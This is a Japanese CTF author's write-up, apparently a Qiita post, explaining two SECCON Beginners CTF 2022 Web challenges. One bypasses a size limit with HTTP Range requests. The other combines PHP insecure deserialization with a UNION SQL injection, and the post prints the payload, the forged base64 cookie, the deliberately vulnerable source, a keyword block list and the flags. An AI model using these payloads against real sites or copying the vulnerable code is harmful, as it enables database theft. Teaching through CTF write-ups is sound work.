13
Help us understand the problem. What are the problem?

posted at

updated at

SECCON Beginners CTF 2022 作問者writeup

はじめに

6月5日14:00から24時間で初心者向けのSECCON Beginners CTF 2022を開催しました。
私はWeb問題を2問作問したので、それらの問題のwriteupを公開します。

いずれも参加者に知識を習得してほしかったため、私が担当した問題では Flag 取得までのヒントは問題文やコメントで多めに提示しておいたつもりです。

他の作問者writeups

作問者Writeup以外も解法は存在します。解は1つだけではないので、Twitterの#ctf4bツイート を各自追ってください :bow:

[Web 83pt] gallery(156 solves)

隠された Flag を見つけ、サイズ制限のあるFlagを取得する問題です。HTTP Range Requests を意外と知らない人がいたので作問しました。

問題文

絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?

仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?

https://gallery.quals.beginners.seccon.jp

gallery.tar.gz a1179b888f1026f9319c859d6711a3300886f610

解法

アクセスすると、Query Parameter で指定された拡張子のファイルが表示されるページであることがわかります。
とりあえず .%2e を入れてみますが、通りません。

ソースコードを見ると、file_extension で指定された文字列を含むファイル以外を表示しない仕様であることが分かります。

// filtered by the fileExtension
if !strings.Contains(file.Name(), fileExtension) {
	continue
}

問題文に

え?ギャラリーの中に flag という文字列を見かけた?

とあるので、ファイル名には f, l, a, g のどれかの文字は含まれていそうです。

従って、 https://gallery.quals.beginners.seccon.jp/?file_extension=f に GET リクエストをすると flag と思しきファイルが露出します。

Screen Shot 2022-06-06 at 18.00.26.png

しかし、https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf にアクセスするとファイルサイズが大きすぎて、 ? で上書きされていることがわかります。

サイズ制限をスルーするために、HTTP Range Requests を用います。
HTTP Range Requests については、MozillaRFC7233 をご覧ください。

サイズ制限は、以下のソースコードの通り 10240 [bytes] なので、

// main.go
func (w *MyResponseWriter) Write(data []byte) (int, error) {
	filledVal := []byte("?")

	length := len(data)
	if length > w.lengthLimit {
		w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
		return length, nil
	}

	w.ResponseWriter.Write(data[:length])
	return length, nil
}

return func(h http.Handler) http.Handler {
	return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
		h.ServeHTTP(&MyResponseWriter{
			ResponseWriter: rw,
			lengthLimit:    10240, // SUPER SECURE THRESHOLD
		}, r)
	})
}

0-10230 [bytes] の範囲でリクエストします。

curl -X GET -H 'Range: bytes=0-10239' http://localhost/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf --output - > 0.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10240    0 10240    0     0  1111k      0 --:--:-- --:--:-- --:--:-- 1111k

10240 [bytes] しっかり全部取れているので、次のchunkをみます。

curl -X GET -H 'Range: bytes=10240-20479' http://localhost/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf --output - > 1.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5845    0  5845    0     0   815k      0 --:--:-- --:--:-- --:--:--  815k

5845 [bytes] なので、これで全てであることがわかります。

catで結合します。

cat 0.pdf 1.pdf > ans.pdf

結合したpdfを見ると、以下の通りFlagが得られます。

Screen Shot 2022-06-05 at 14.10.30.png

ctf4b{r4nge_reque5t_1s_u5efu1!}

[Web 109pt] serial(83 solves)

Insecure Deserialization と UNION SQL Injection を問いたかった問題です。

Insecure Deserialization の手段として、PHP と Java が利用できます。しかし、Java は自分でソースコードから Serialized Object を生成する必要があり、言語的な理解が必要とされるため今回は PHP を選定しました。

問題文

フラッグは flags テーブルの中にあるよ。ゲットできるかな?

https://serial.quals.beginners.seccon.jp

serial.tar.gz 4fc156278675123824c73e65d65496e9a8aa1cf1

解法

配布された PHP ファイルを見ると、露骨に脆弱性のある以下のメソッドが提示されています。

// database.php
    /**
     * findUserByName finds a user from database by given userId.
     * 
     * @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
     */
    public function findUserByName($user = null)
    {
        if (!isset($user->name)) {
            throw new Exception('invalid user name: ' . $user->user);
        }

        $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
        $result = $this->_con->query($sql);
        if (!$result) {
            throw new Exception('failed query for findUserByNameOld ' . $sql);
        }

        while ($row = $result->fetch_assoc()) {
            $user = new User($row['id'], $row['name'], $row['password_hash']);
        }
        return $user;
    }

中盤の $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";$user->name に対して Union SQL Injection を適用することで Flag が取れそうです。配布ファイルの中にデータベースの初期化 SQL ファイルも含まれているので flags テーブルのカラム数と型は自明です。

Union SQL Injection を実現するペイロードとしては、以下のようなもので良いでしょう。

' UNION SELECT 'hoge', body, '$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6' FROM flags -- 

これを実現したいのですが、この $user インスタンスの生成は User class にまとめられており、

  • UNION
  • '
  • FROM
  • SELECT
  • flag

のような文字列が利用できないようになっていたり、XSSができないようになっていたりするのがわかります。

// user.php
class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }
    // (snip)
}

この発想はセキュア・バイ・デザインによるもので、オブジェクトの生成を集約化することでセキュリティのリスクを集中させるようにしています。

ただし、以下の通りログイン時のunserialize() を用いている部分でこのチェックをしていないため、この処理をバイパスすることができます。

// user.php

function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

ありがたいことに、取得した値は serialize 後に再度 Cookie に設定されるので、方針としては Cookie に flag を取得するような Union SQL Injection のペイロードを含めてリクエストをする ことで Flag を取得することとします。

したがって、次の SQL を User オブジェクトの name に挿入したいので、

' UNION SELECT 'hoge', body, '$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6' FROM flags -- 

Cookie に埋め込む値は、以下の

O:4:"User":3:{s:2:"id";s:1:"1";s:4:"name";s:106:"' UNION SELECT 'hoge', body, '$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6' FROM flags -- ";s:13:"password_hash";s:60:"$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6";}

を base64 encode した

Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjE6IjEiO3M6NDoibmFtZSI7czoxMDY6IicgVU5JT04gU0VMRUNUICdob2dlJywgYm9keSwgJyQyeSQxMCRNM25kMVRDQ1ppYm9BbDlZTnBIMlZ1ZmRIeE5wSnk1aHF3UDYwMWlzMjZiRUVMMW9NMFZjNicgRlJPTSBmbGFncyAtLSAiO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6NjA6IiQyeSQxMCRNM25kMVRDQ1ppYm9BbDlZTnBIMlZ1ZmRIeE5wSnk1aHF3UDYwMWlzMjZiRUVMMW9NMFZjNiI7fQ==

になります。

※ 2022/06/06 追記
今回の例ではパスワードハッシュに正しい値を入れていますが、こちらのコメント で指摘されている通り、その必要はありません。
@m2ku さん、ご指摘ありがとうございます。

これを Cookie に設定してリクエストすると以下の Cookie に変わっています。

Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6ImhvZ2UiO3M6NDoibmFtZSI7czo0MzoiY3RmNGJ7U2VyMTRsaXo0dDEwbl8xNV92MXJ0dWFsbHlfcGw0MW50ZXh0fSI7czoxMzoicGFzc3dvcmRfaGFzaCI7czo2MDoiJDJ5JDEwJE0zbmQxVENDWmlib0FsOVlOcEgyVnVmZEh4TnBKeTVocXdQNjAxaXMyNmJFRUwxb00wVmM2Ijt9

この Cookie の情報を URL Decode & Base64 decode すると以下の通り Flag が得られます。

O:4:"User":3:{s:2:"id";s:4:"hoge";s:4:"name";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:13:"password_hash";s:60:"$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6";}

ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}

Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Sign upLogin
13
Help us understand the problem. What are the problem?